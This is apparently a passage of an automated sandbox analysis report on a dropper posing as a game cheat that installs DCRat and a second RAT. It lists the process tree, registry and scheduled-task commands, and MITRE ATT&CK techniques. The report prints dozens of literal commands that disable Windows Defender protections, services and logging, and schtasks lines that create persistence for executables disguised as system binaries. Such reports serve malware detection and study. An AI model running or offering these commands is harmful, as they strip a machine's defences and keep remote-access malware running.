PID 4308 wrote to memory of 264	4308	cmd.exe	108

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\841eb644979b3c640761762645c9cd26f9bb46e558eaeb7bf0c2a79e761878f4.exe
"C:\Users\Admin\AppData\Local\Temp\841eb644979b3c640761762645c9cd26f9bb46e558eaeb7bf0c2a79e761878f4.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2300
- C:\Users\Admin\AppData\Local\Temp\Lunch LaCheatV2.exe
  "C:\Users\Admin\AppData\Local\Temp\Lunch LaCheatV2.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:4580
- - C:\Users\Admin\AppData\Local\Temp\Lunch LaCheat.exe
    "C:\Users\Admin\AppData\Local\Temp\Lunch LaCheat.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:3904
  - - C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe
      "C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Modifies registry class
      PID:5024
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\blockweb\J6PsSzBYKK7mXTJyYh2Tgne.vbe"
        5⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:3844
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\blockweb\TOdra8QNG4wQEWkSimCHh9eVG.bat" "
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2032
        
        C:\blockweb\portrefNet.exe
        
        "C:\blockweb\portrefNet.exe"
        7⤵
        Modifies WinLogon for persistence
        Checks computer location settings
        Executes dropped EXE
        Adds Run key to start application
        Drops file in Program Files directory
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3216
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\Gt6oNQoHlh.bat"
        8⤵
        
        PID:4672
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        9⤵
        
        PID:1920
        
        C:\Program Files (x86)\Windows Mail\WmiPrvSE.exe
        
        "C:\Program Files (x86)\Windows Mail\WmiPrvSE.exe"
        9⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1228
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\blockweb\file.vbs"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4728
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\blockweb\J6PsSzBYKK7mXTJyYh2Tgne.vbe"
        5⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:1132
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\blockweb\TOdra8QNG4wQEWkSimCHh9eVG.bat" "
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2220
        
        C:\blockweb\portrefNet.exe
        
        "C:\blockweb\portrefNet.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:5004
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\blockweb\file.vbs"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2644
  - - C:\Users\Admin\AppData\Local\Temp\52cheatand52rat.exe
      "C:\Users\Admin\AppData\Local\Temp\52cheatand52rat.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1584
    - - C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1176
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\windows defender.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4308
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:212
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2028
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2004
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3720
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:2408
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:3576
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:2608
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:2628
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:1648
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:768
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1920
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4788
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3572
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:512
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3608
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4648
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3784
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2996
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4516
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
    3⤵
    - System Location Discovery: System Language Discovery
    PID:264
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4664
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3188
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3892
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4552
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3532
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies Security services
    - System Location Discovery: System Language Discovery
    PID:4484
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies Security services
    - System Location Discovery: System Language Discovery
    PID:5004
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies Security services
    - System Location Discovery: System Language Discovery
    PID:720
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies Security services
    - System Location Discovery: System Language Discovery
    PID:1968
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies security service
    - System Location Discovery: System Language Discovery
    PID:1052

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 8 /tr "'C:\Users\Public\Pictures\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2452

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Users\Public\Pictures\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4428

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 14 /tr "'C:\Users\Public\Pictures\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3780

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 9 /tr "'C:\Users\Default User\OfficeClickToRun.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4088

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRun" /sc ONLOGON /tr "'C:\Users\Default User\OfficeClickToRun.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2372

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 11 /tr "'C:\Users\Default User\OfficeClickToRun.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3904

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Windows Mail\WmiPrvSE.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4120

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Mail\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4996

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Windows Mail\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1888

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\WindowsPowerShell\spoolsv.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2732

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Program Files (x86)\WindowsPowerShell\spoolsv.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3700

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\WindowsPowerShell\spoolsv.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4048

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 9 /tr "'C:\Users\Default\fontdrvhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4928

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Users\Default\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3968

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 5 /tr "'C:\Users\Default\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2004

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Windows Defender\System.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:208

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Defender\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:100

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Windows Defender\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3152

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\explorer.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2484

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4764

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4224

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 12 /tr "'C:\Program Files\Windows Sidebar\Gadgets\SppExtComObj.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3852

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObj" /sc ONLOGON /tr "'C:\Program Files\Windows Sidebar\Gadgets\SppExtComObj.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2408

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 7 /tr "'C:\Program Files\Windows Sidebar\Gadgets\SppExtComObj.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3016

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Windows Portable Devices\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1980

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Portable Devices\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1232

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Windows Portable Devices\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5060

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry